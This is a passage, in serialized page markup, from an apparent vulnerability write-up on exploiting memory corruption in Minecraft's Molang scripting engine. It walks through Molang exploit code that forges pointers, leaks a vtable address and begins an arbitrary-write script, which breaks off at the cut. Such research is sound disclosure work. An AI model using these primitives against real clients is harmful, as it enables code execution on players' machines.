itof(0x8);\n",[152523],{"type":23,"tag":38,"props":152524,"children":152525},{"__ignoreMap":7},[152526],{"type":29,"value":152521},{"type":23,"tag":32,"props":152528,"children":152529},{},[152530],{"type":29,"value":152531},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":131,"props":152533,"children":152535},{"code":152534}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152536],{"type":23,"tag":38,"props":152537,"children":152538},{"__ignoreMap":7},[152539],{"type":29,"value":152534},{"type":23,"tag":32,"props":152541,"children":152542},{},[152543,152545,152550],{"type":29,"value":152544},"Since the 32 bits directly below the ",{"type":23,"tag":38,"props":152546,"children":152548},{"className":152547},[],[152549],{"type":29,"value":37623},{"type":29,"value":152551}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":131,"props":152553,"children":152555},{"code":152554},"variable.b = variable.saved_upper_32;\n",[152556],{"type":23,"tag":38,"props":152557,"children":152558},{"__ignoreMap":7},[152559],{"type":29,"value":152554},{"type":23,"tag":32,"props":152561,"children":152562},{},[152563,152565,152570],{"type":29,"value":152564},"Now ",{"type":23,"tag":38,"props":152566,"children":152568},{"className":152567},[],[152569],{"type":29,"value":151909},{"type":29,"value":152571}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":23,"tag":131,"props":152573,"children":152575},{"code":152574}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[152576],{"type":23,"tag":38,"props":152577,"children":152578},{"__ignoreMap":7},[152579],{"type":29,"value":152574},{"type":23,"tag":32,"props":152581,"children":152582},{},[152583,152585,152590],{"type":29,"value":152584},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":23,"tag":38,"props":152586,"children":152588},{"className":152587},[],[152589],{"type":29,"value":152457},{"type":29,"value":152591}," on the heap?",{"type":23,"tag":32,"props":152593,"children":152594},{},[152595,152597,152602,152604,152610],{"type":29,"value":152596},"Additionally, adding 8 to ",{"type":23,"tag":38,"props":152598,"children":152600},{"className":152599},[],[152601],{"type":29,"value":151839},{"type":29,"value":152603}," in the example above wouldn’t work because ",{"type":23,"tag":38,"props":152605,"children":152607},{"className":152606},[],[152608],{"type":29,"value":152609},"0xddccbba0",{"type":29,"value":152611}," is not a valid float. So the first issue still remains unresolved.",{"type":23,"tag":17563,"props":152613,"children":152615},{"id":152614},"the-final-approach",[152616],{"type":29,"value":152617},"The Final Approach",{"type":23,"tag":32,"props":152619,"children":152620},{},[152621,152623,152628,152630,152636],{"type":29,"value":152622},"We realized that instead of having the second pointer at ",{"type":23,"tag":38,"props":152624,"children":152626},{"className":152625},[],[152627],{"type":29,"value":152457},{"type":29,"value":152629},", we could instead have it at ",{"type":23,"tag":38,"props":152631,"children":152633},{"className":152632},[],[152634],{"type":29,"value":152635},"MolangVariableMap + 2",{"type":29,"value":152637},", which would resolve both of our issues.",{"type":23,"tag":32,"props":152639,"children":152640},{},[152641,152643,152648,152649,152654],{"type":29,"value":152642},"Let’s revisit the previous example, but this time ",{"type":23,"tag":38,"props":152644,"children":152646},{"className":152645},[],[152647],{"type":29,"value":151853},{"type":29,"value":152438},{"type":23,"tag":38,"props":152650,"children":152652},{"className":152651},[],[152653],{"type":29,"value":152635},{"type":29,"value":114},{"type":23,"tag":131,"props":152656,"children":152658},{"code":152657}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152659],{"type":23,"tag":38,"props":152660,"children":152661},{"__ignoreMap":7},[152662],{"type":29,"value":152657},{"type":23,"tag":32,"props":152664,"children":152665},{},[152666,152668,152673],{"type":29,"value":152667},"With this setup, we can calculate any address relative to ",{"type":23,"tag":38,"props":152669,"children":152671},{"className":152670},[],[152672],{"type":29,"value":151909},{"type":29,"value":152674}," by first saving the upper 48 bits of the address:",{"type":23,"tag":131,"props":152676,"children":152678},{"code":152677},"variable.saved_upper_48 = variable.b;\n",[152679],{"type":23,"tag":38,"props":152680,"children":152681},{"__ignoreMap":7},[152682],{"type":29,"value":152677},{"type":23,"tag":32,"props":152684,"children":152685},{},[152686,152687,152693,152695,152701],{"type":29,"value":128315},{"type":23,"tag":38,"props":152688,"children":152690},{"className":152689},[],[152691],{"type":29,"value":152692},"variable.saved_upper_48",{"type":29,"value":152694}," holds the value ",{"type":23,"tag":38,"props":152696,"children":152698},{"className":152697},[],[152699],{"type":29,"value":152700},"0x1c80ddcc",{"type":29,"value":322},{"type":23,"tag":32,"props":152703,"children":152704},{},[152705],{"type":29,"value":152706},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":23,"tag":131,"props":152708,"children":152710},{"code":152709},"variable.b = 0;\n",[152711],{"type":23,"tag":38,"props":152712,"children":152713},{"__ignoreMap":7},[152714],{"type":29,"value":152709},{"type":23,"tag":32,"props":152716,"children":152717},{},[152718],{"type":29,"value":152719},"Resulting in the following state:",{"type":23,"tag":131,"props":152721,"children":152723},{"code":152722}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152724],{"type":23,"tag":38,"props":152725,"children":152726},{"__ignoreMap":7},[152727],{"type":29,"value":152722},{"type":23,"tag":32,"props":152729,"children":152730},{},[152731,152733,152738,152740,152746,152748,152753],{"type":29,"value":152732},"Now, the value of ",{"type":23,"tag":38,"props":152734,"children":152736},{"className":152735},[],[152737],{"type":29,"value":151839},{"type":29,"value":152739}," only spans 16 bits (",{"type":23,"tag":38,"props":152741,"children":152743},{"className":152742},[],[152744],{"type":29,"value":152745},"0xbba0",{"type":29,"value":152747}," specifically), which is always a valid float since it’s far below ",{"type":23,"tag":38,"props":152749,"children":152751},{"className":152750},[],[152752],{"type":29,"value":152337},{"type":29,"value":322},{"type":23,"tag":32,"props":152755,"children":152756},{},[152757,152759,152764],{"type":29,"value":152758},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":38,"props":152760,"children":152762},{"className":152761},[],[152763],{"type":29,"value":151839},{"type":29,"value":114},{"type":23,"tag":131,"props":152766,"children":152767},{"code":152521},[152768],{"type":23,"tag":38,"props":152769,"children":152770},{"__ignoreMap":7},[152771],{"type":29,"value":152521},{"type":23,"tag":32,"props":152773,"children":152774},{},[152775],{"type":29,"value":152776},"Which results in:",{"type":23,"tag":131,"props":152778,"children":152780},{"code":152779}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152781],{"type":23,"tag":38,"props":152782,"children":152783},{"__ignoreMap":7},[152784],{"type":29,"value":152779},{"type":23,"tag":32,"props":152786,"children":152787},{},[152788],{"type":29,"value":152789},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":131,"props":152791,"children":152793},{"code":152792},"variable.b = variable.saved_upper_48;\n",[152794],{"type":23,"tag":38,"props":152795,"children":152796},{"__ignoreMap":7},[152797],{"type":29,"value":152792},{"type":23,"tag":32,"props":152799,"children":152800},{},[152801],{"type":29,"value":152802},"Yielding a valid pointer again:",{"type":23,"tag":131,"props":152804,"children":152806},{"code":152805}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152807],{"type":23,"tag":38,"props":152808,"children":152809},{"__ignoreMap":7},[152810],{"type":29,"value":152805},{"type":23,"tag":32,"props":152812,"children":152813},{},[152814],{"type":29,"value":152815},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":131,"props":152817,"children":152819},{"code":152818},"variable.saved_adjusted_lower_16 = variable.a;\n",[152820],{"type":23,"tag":38,"props":152821,"children":152822},{"__ignoreMap":7},[152823],{"type":29,"value":152818},{"type":23,"tag":32,"props":152825,"children":152826},{},[152827],{"type":29,"value":152828},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":131,"props":152830,"children":152832},{"code":152831},"variable.a = variable.saved_upper_48;\n",[152833],{"type":23,"tag":38,"props":152834,"children":152835},{"__ignoreMap":7},[152836],{"type":29,"value":152831},{"type":23,"tag":32,"props":152838,"children":152839},{},[152840],{"type":29,"value":152841},"This produces the following state:",{"type":23,"tag":131,"props":152843,"children":152845},{"code":152844}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152846],{"type":23,"tag":38,"props":152847,"children":152848},{"__ignoreMap":7},[152849],{"type":29,"value":152844},{"type":23,"tag":32,"props":152851,"children":152852},{},[152853,152855,152860,152862,152868,152870,152876,152878,152883,152885,152890],{"type":29,"value":152854},"As shown, ",{"type":23,"tag":38,"props":152856,"children":152858},{"className":152857},[],[152859],{"type":29,"value":151853},{"type":29,"value":152861}," now contains the upper 16 bits of the address (",{"type":23,"tag":38,"props":152863,"children":152865},{"className":152864},[],[152866],{"type":29,"value":152867},"0x1c80",{"type":29,"value":152869},"), which we can store as ",{"type":23,"tag":38,"props":152871,"children":152873},{"className":152872},[],[152874],{"type":29,"value":152875},"variable.saved_upper_16 = variable.b",{"type":29,"value":152877},". Meanwhile, ",{"type":23,"tag":38,"props":152879,"children":152881},{"className":152880},[],[152882],{"type":29,"value":151839},{"type":29,"value":152884}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":38,"props":152886,"children":152888},{"className":152887},[],[152889],{"type":29,"value":151853},{"type":29,"value":114},{"type":23,"tag":131,"props":152892,"children":152893},{"code":152709},[152894],{"type":23,"tag":38,"props":152895,"children":152896},{"__ignoreMap":7},[152897],{"type":29,"value":152709},{"type":23,"tag":32,"props":152899,"children":152900},{},[152901],{"type":29,"value":152902},"Leaving us with:",{"type":23,"tag":131,"props":152904,"children":152906},{"code":152905}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[152907],{"type":23,"tag":38,"props":152908,"children":152909},{"__ignoreMap":7},[152910],{"type":29,"value":152905},{"type":23,"tag":32,"props":152912,"children":152913},{},[152914],{"type":29,"value":152915},"We can now save the middle 16 bits:",{"type":23,"tag":131,"props":152917,"children":152919},{"code":152918},"variable.saved_middle_16 = variable.a;\n",[152920],{"type":23,"tag":38,"props":152921,"children":152922},{"__ignoreMap":7},[152923],{"type":29,"value":152918},{"type":23,"tag":32,"props":152925,"children":152926},{},[152927],{"type":29,"value":152928},"At this point, we have:",{"type":23,"tag":131,"props":152930,"children":152932},{"code":152931},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[152933],{"type":23,"tag":38,"props":152934,"children":152935},{"__ignoreMap":7},[152936],{"type":29,"value":152931},{"type":23,"tag":32,"props":152938,"children":152939},{},[152940],{"type":29,"value":152941},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":32,"props":152943,"children":152944},{},[152945],{"type":29,"value":152946},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":131,"props":152948,"children":152950},{"code":152949},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[152951],{"type":23,"tag":38,"props":152952,"children":152953},{"__ignoreMap":7},[152954],{"type":29,"value":152949},{"type":23,"tag":32,"props":152956,"children":152957},{},[152958],{"type":29,"value":152959},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":131,"props":152961,"children":152963},{"code":152962},"variable.a = variable.saved_adjusted_middle_16;\n",[152964],{"type":23,"tag":38,"props":152965,"children":152966},{"__ignoreMap":7},[152967],{"type":29,"value":152962},{"type":23,"tag":32,"props":152969,"children":152970},{},[152971,152973,152978,152979,152985,152986,152992],{"type":29,"value":152972},"Setting ",{"type":23,"tag":38,"props":152974,"children":152976},{"className":152975},[],[152977],{"type":29,"value":151839},{"type":29,"value":55256},{"type":23,"tag":38,"props":152980,"children":152982},{"className":152981},[],[152983],{"type":29,"value":152984},"0xddcd",{"type":29,"value":1220},{"type":23,"tag":38,"props":152987,"children":152989},{"className":152988},[],[152990],{"type":29,"value":152991},"0xddcc + 1",{"type":29,"value":152993},"), and then:",{"type":23,"tag":131,"props":152995,"children":152997},{"code":152996},"variable.b = variable.saved_adjusted_upper_16;\n",[152998],{"type":23,"tag":38,"props":152999,"children":153000},{"__ignoreMap":7},[153001],{"type":29,"value":152996},{"type":23,"tag":32,"props":153003,"children":153004},{},[153005,153007,153012,153014,153020,153021,153027],{"type":29,"value":153006},"Resulting in ",{"type":23,"tag":38,"props":153008,"children":153010},{"className":153009},[],[153011],{"type":29,"value":151853},{"type":29,"value":153013}," value becoming ",{"type":23,"tag":38,"props":153015,"children":153017},{"className":153016},[],[153018],{"type":29,"value":153019},"0x1c81",{"type":29,"value":1220},{"type":23,"tag":38,"props":153022,"children":153024},{"className":153023},[],[153025],{"type":29,"value":153026},"0x1c80 + 1",{"type":29,"value":22629},{"type":23,"tag":131,"props":153029,"children":153031},{"code":153030}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153032],{"type":23,"tag":38,"props":153033,"children":153034},{"__ignoreMap":7},[153035],{"type":29,"value":153030},{"type":23,"tag":32,"props":153037,"children":153038},{},[153039],{"type":29,"value":153040},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":131,"props":153042,"children":153044},{"code":153043},"variable.saved_adjusted_upper_48 = variable.a;\n",[153045],{"type":23,"tag":38,"props":153046,"children":153047},{"__ignoreMap":7},[153048],{"type":29,"value":153043},{"type":23,"tag":32,"props":153050,"children":153051},{},[153052],{"type":29,"value":153053},"Finally, we attach the lower 16 bits:",{"type":23,"tag":131,"props":153055,"children":153057},{"code":153056},"variable.a = variable.saved_adjusted_lower_16;\n",[153058],{"type":23,"tag":38,"props":153059,"children":153060},{"__ignoreMap":7},[153061],{"type":29,"value":153056},{"type":23,"tag":131,"props":153063,"children":153065},{"code":153064}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153066],{"type":23,"tag":38,"props":153067,"children":153068},{"__ignoreMap":7},[153069],{"type":29,"value":153064},{"type":23,"tag":32,"props":153071,"children":153072},{},[153073],{"type":29,"value":153074},"And by setting:",{"type":23,"tag":131,"props":153076,"children":153078},{"code":153077},"variable.b = variable.saved_adjusted_upper_48;\n",[153079],{"type":23,"tag":38,"props":153080,"children":153081},{"__ignoreMap":7},[153082],{"type":29,"value":153077},{"type":23,"tag":32,"props":153084,"children":153085},{},[153086],{"type":29,"value":153087},"We forge the final adjusted pointer:",{"type":23,"tag":131,"props":153089,"children":153091},{"code":153090}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153092],{"type":23,"tag":38,"props":153093,"children":153094},{"__ignoreMap":7},[153095],{"type":29,"value":153090},{"type":23,"tag":17463,"props":153097,"children":153098},{},[],{"type":23,"tag":32,"props":153100,"children":153101},{},[153102,153104,153109],{"type":29,"value":153103},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":38,"props":153105,"children":153107},{"className":153106},[],[153108],{"type":29,"value":152635},{"type":29,"value":152591},{"type":23,"tag":32,"props":153111,"children":153112},{},[153113,153115,153120,153122,153127,153129,153135,153137,153142],{"type":29,"value":153114},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":38,"props":153116,"children":153118},{"className":153117},[],[153119],{"type":29,"value":152635},{"type":29,"value":153121},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":38,"props":153123,"children":153125},{"className":153124},[],[153126],{"type":29,"value":29154},{"type":29,"value":153128}," and the other to ",{"type":23,"tag":38,"props":153130,"children":153132},{"className":153131},[],[153133],{"type":29,"value":153134},"addr + 2",{"type":29,"value":153136}," (as long as ",{"type":23,"tag":38,"props":153138,"children":153140},{"className":153139},[],[153141],{"type":29,"value":29154},{"type":29,"value":153143}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":32,"props":153145,"children":153146},{},[153147,153149,153154,153155,153160],{"type":29,"value":153148},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":38,"props":153150,"children":153152},{"className":153151},[],[153153],{"type":29,"value":148609},{"type":29,"value":152394},{"type":23,"tag":38,"props":153156,"children":153158},{"className":153157},[],[153159],{"type":29,"value":151413},{"type":29,"value":153161}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":131,"props":153163,"children":153165},{"code":153164},"variable.corrupted_var_map_ptr = variable.a;\n",[153166],{"type":23,"tag":38,"props":153167,"children":153168},{"__ignoreMap":7},[153169],{"type":29,"value":153164},{"type":23,"tag":32,"props":153171,"children":153172},{},[153173,153175,153180,153182,153188],{"type":29,"value":153174},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":38,"props":153176,"children":153178},{"className":153177},[],[153179],{"type":29,"value":37623},{"type":29,"value":153181}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":38,"props":153183,"children":153185},{"className":153184},[],[153186],{"type":29,"value":153187},"variable.corrupted_var_map_ptr",{"type":29,"value":153189},", even though the type itself is only a 32-bit float.",{"type":23,"tag":17563,"props":153191,"children":153193},{"id":153192},"finding-misaligned-pointers",[153194],{"type":29,"value":153195},"Finding Misaligned Pointers",{"type":23,"tag":32,"props":153197,"children":153198},{},[153199,153201,153206,153207,153213],{"type":29,"value":153200},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":38,"props":153202,"children":153204},{"className":153203},[],[153205],{"type":29,"value":542},{"type":29,"value":313},{"type":23,"tag":38,"props":153208,"children":153210},{"className":153209},[],[153211],{"type":29,"value":153212},"ptr + 2",{"type":29,"value":153214},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":32,"props":153216,"children":153217},{},[153218,153223,153224,153229,153231,153236,153238,153243,153245,153250,153252,153257,153259,153265,153266,153271],{"type":23,"tag":38,"props":153219,"children":153221},{"className":153220},[],[153222],{"type":29,"value":151589},{"type":29,"value":14121},{"type":23,"tag":38,"props":153225,"children":153227},{"className":153226},[],[153228],{"type":29,"value":151612},{"type":29,"value":153230}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":38,"props":153232,"children":153234},{"className":153233},[],[153235],{"type":29,"value":151443},{"type":29,"value":153237}," contains three pointers: ",{"type":23,"tag":38,"props":153239,"children":153241},{"className":153240},[],[153242],{"type":29,"value":148609},{"type":29,"value":153244}," (the start of the allocated buffer), ",{"type":23,"tag":38,"props":153246,"children":153248},{"className":153247},[],[153249],{"type":29,"value":7817},{"type":29,"value":153251}," (just past the last element) and ",{"type":23,"tag":38,"props":153253,"children":153255},{"className":153254},[],[153256],{"type":29,"value":151542},{"type":29,"value":153258}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":38,"props":153260,"children":153262},{"className":153261},[],[153263],{"type":29,"value":153264},"uint16_t",{"type":29,"value":100782},{"type":23,"tag":38,"props":153267,"children":153269},{"className":153268},[],[153270],{"type":29,"value":7817},{"type":29,"value":153272}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":32,"props":153274,"children":153275},{},[153276,153278,153283,153285,153291],{"type":29,"value":153277},"We can make the ",{"type":23,"tag":38,"props":153279,"children":153281},{"className":153280},[],[153282],{"type":29,"value":7817},{"type":29,"value":153284}," pointer equal to ",{"type":23,"tag":38,"props":153286,"children":153288},{"className":153287},[],[153289],{"type":29,"value":153290},"cap - 2",{"type":29,"value":153292}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":131,"props":153294,"children":153296},{"code":153295}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[153297],{"type":23,"tag":38,"props":153298,"children":153299},{"__ignoreMap":7},[153300],{"type":29,"value":153295},{"type":23,"tag":17463,"props":153302,"children":153303},{},[],{"type":23,"tag":32,"props":153305,"children":153306},{},[153307,153309,153314,153316,153321,153323,153328,153330,153335,153336,153341],{"type":29,"value":153308},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":38,"props":153310,"children":153312},{"className":153311},[],[153313],{"type":29,"value":148609},{"type":29,"value":153315}," pointer of ",{"type":23,"tag":38,"props":153317,"children":153319},{"className":153318},[],[153320],{"type":29,"value":151413},{"type":29,"value":153322}," in the entity object above, one that would index ",{"type":23,"tag":38,"props":153324,"children":153326},{"className":153325},[],[153327],{"type":29,"value":7817},{"type":29,"value":153329}," and the final ",{"type":23,"tag":38,"props":153331,"children":153333},{"className":153332},[],[153334],{"type":29,"value":151542},{"type":29,"value":153315},{"type":23,"tag":38,"props":153337,"children":153339},{"className":153338},[],[153340],{"type":29,"value":151589},{"type":29,"value":153342}," also in the same entity object above.",{"type":23,"tag":32,"props":153344,"children":153345},{},[153346,153348,153354,153355,153361,153363,153368,153369,153374,153376,153381,153383,153388,153389,153394,153396,153401],{"type":29,"value":153347},"The corrupted variables ",{"type":23,"tag":38,"props":153349,"children":153351},{"className":153350},[],[153352],{"type":29,"value":153353},"variable.corrupted_len_ptr",{"type":29,"value":313},{"type":23,"tag":38,"props":153356,"children":153358},{"className":153357},[],[153359],{"type":29,"value":153360},"variable.corrupted_cap_ptr",{"type":29,"value":153362}," point to ",{"type":23,"tag":38,"props":153364,"children":153366},{"className":153365},[],[153367],{"type":29,"value":7817},{"type":29,"value":313},{"type":23,"tag":38,"props":153370,"children":153372},{"className":153371},[],[153373],{"type":29,"value":151542},{"type":29,"value":153375},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":38,"props":153377,"children":153379},{"className":153378},[],[153380],{"type":29,"value":153187},{"type":29,"value":153382},", points to the ",{"type":23,"tag":38,"props":153384,"children":153386},{"className":153385},[],[153387],{"type":29,"value":148609},{"type":29,"value":152394},{"type":23,"tag":38,"props":153390,"children":153392},{"className":153391},[],[153393],{"type":29,"value":151413},{"type":29,"value":153395},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":38,"props":153397,"children":153399},{"className":153398},[],[153400],{"type":29,"value":151413},{"type":29,"value":153402},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":32,"props":153404,"children":153405},{},[153406],{"type":29,"value":153407},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":17563,"props":153409,"children":153411},{"id":153410},"leaking-pointers",[153412],{"type":29,"value":153413},"Leaking Pointers",{"type":23,"tag":32,"props":153415,"children":153416},{},[153417,153419,153425],{"type":29,"value":153418},"In C++, an object’s first field is typically a ",{"type":23,"tag":38,"props":153420,"children":153422},{"className":153421},[],[153423],{"type":29,"value":153424},"vtable",{"type":29,"value":153426}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":131,"props":153428,"children":153430},{"code":153429}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[153431],{"type":23,"tag":38,"props":153432,"children":153433},{"__ignoreMap":7},[153434],{"type":29,"value":153429},{"type":23,"tag":32,"props":153436,"children":153437},{},[153438,153439,153444,153446,153451,153453,153458,153460,153465,153467,153472,153473,153478,153480,153485],{"type":29,"value":388},{"type":23,"tag":38,"props":153440,"children":153442},{"className":153441},[],[153443],{"type":29,"value":37623},{"type":29,"value":153445}," field inside a ",{"type":23,"tag":38,"props":153447,"children":153449},{"className":153448},[],[153450],{"type":29,"value":151086},{"type":29,"value":153452}," is at offset ",{"type":23,"tag":38,"props":153454,"children":153456},{"className":153455},[],[153457],{"type":29,"value":151347},{"type":29,"value":153459},". We already control a corrupted variable, ",{"type":23,"tag":38,"props":153461,"children":153463},{"className":153462},[],[153464],{"type":29,"value":153353},{"type":29,"value":153466},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":38,"props":153468,"children":153470},{"className":153469},[],[153471],{"type":29,"value":7817},{"type":29,"value":152394},{"type":23,"tag":38,"props":153474,"children":153476},{"className":153475},[],[153477],{"type":29,"value":151589},{"type":29,"value":153479}," by 2 bytes, which in turn advances ",{"type":23,"tag":38,"props":153481,"children":153483},{"className":153482},[],[153484],{"type":29,"value":153353},{"type":29,"value":153486}," by 2 bytes.",{"type":23,"tag":32,"props":153488,"children":153489},{},[153490,153492,153497,153499,153505,153506,153511,153512,153517,153519,153524],{"type":29,"value":153491},"By moving ",{"type":23,"tag":38,"props":153493,"children":153495},{"className":153494},[],[153496],{"type":29,"value":7817},{"type":29,"value":153498}," so it equals ",{"type":23,"tag":38,"props":153500,"children":153502},{"className":153501},[],[153503],{"type":29,"value":153504},"cap - 0x38",{"type":29,"value":100782},{"type":23,"tag":38,"props":153507,"children":153509},{"className":153508},[],[153510],{"type":29,"value":37623},{"type":29,"value":152394},{"type":23,"tag":38,"props":153513,"children":153515},{"className":153514},[],[153516],{"type":29,"value":153353},{"type":29,"value":153518}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":38,"props":153520,"children":153522},{"className":153521},[],[153523],{"type":29,"value":153424},{"type":29,"value":153525}," pointer. We can then capture that pointer with:",{"type":23,"tag":131,"props":153527,"children":153529},{"code":153528},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[153530],{"type":23,"tag":38,"props":153531,"children":153532},{"__ignoreMap":7},[153533],{"type":29,"value":153528},{"type":23,"tag":32,"props":153535,"children":153536},{},[153537,153539,153544,153546,153551,153553,153558,153560,153566],{"type":29,"value":153538},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":38,"props":153540,"children":153542},{"className":153541},[],[153543],{"type":29,"value":7817},{"type":29,"value":153545}," until it equals ",{"type":23,"tag":38,"props":153547,"children":153549},{"className":153548},[],[153550],{"type":29,"value":153290},{"type":29,"value":153552},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":38,"props":153554,"children":153556},{"className":153555},[],[153557],{"type":29,"value":153424},{"type":29,"value":153559}," address in ",{"type":23,"tag":38,"props":153561,"children":153563},{"className":153562},[],[153564],{"type":29,"value":153565},"variable.saved_vtable_pointer",{"type":29,"value":322},{"type":23,"tag":17463,"props":153568,"children":153569},{},[],{"type":23,"tag":32,"props":153571,"children":153572},{},[153573,153575,153580,153582,153588],{"type":29,"value":153574},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":38,"props":153576,"children":153578},{"className":153577},[],[153579],{"type":29,"value":41976},{"type":29,"value":153581}," to the address ",{"type":23,"tag":38,"props":153583,"children":153585},{"className":153584},[],[153586],{"type":29,"value":153587},"vtable + 0x1000",{"type":29,"value":153589}," looks like this:",{"type":23,"tag":131,"props":153591,"children":153593},{"code":153592},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 